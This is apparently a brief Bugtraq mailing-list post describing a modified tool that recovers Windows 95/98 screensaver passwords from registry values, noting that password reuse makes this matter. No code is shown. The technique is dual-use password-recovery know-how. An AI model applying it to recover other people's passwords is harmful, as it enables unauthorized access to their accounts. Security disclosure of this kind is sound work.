Subject: Windows95/98(?) Screensavers

I got the idea to explore a bit on the w95ss password in the registry
after seeing the bruteforce cracker (using tables of bytes).

(why this is important to bugtraq? loads of people use 1 password for
everything)

Feel free to recode it in C and post to the list.

I made this sometime a few months ago, it works.

I did not write the original code, I only modified it so the values from
RegEdit could be entered.
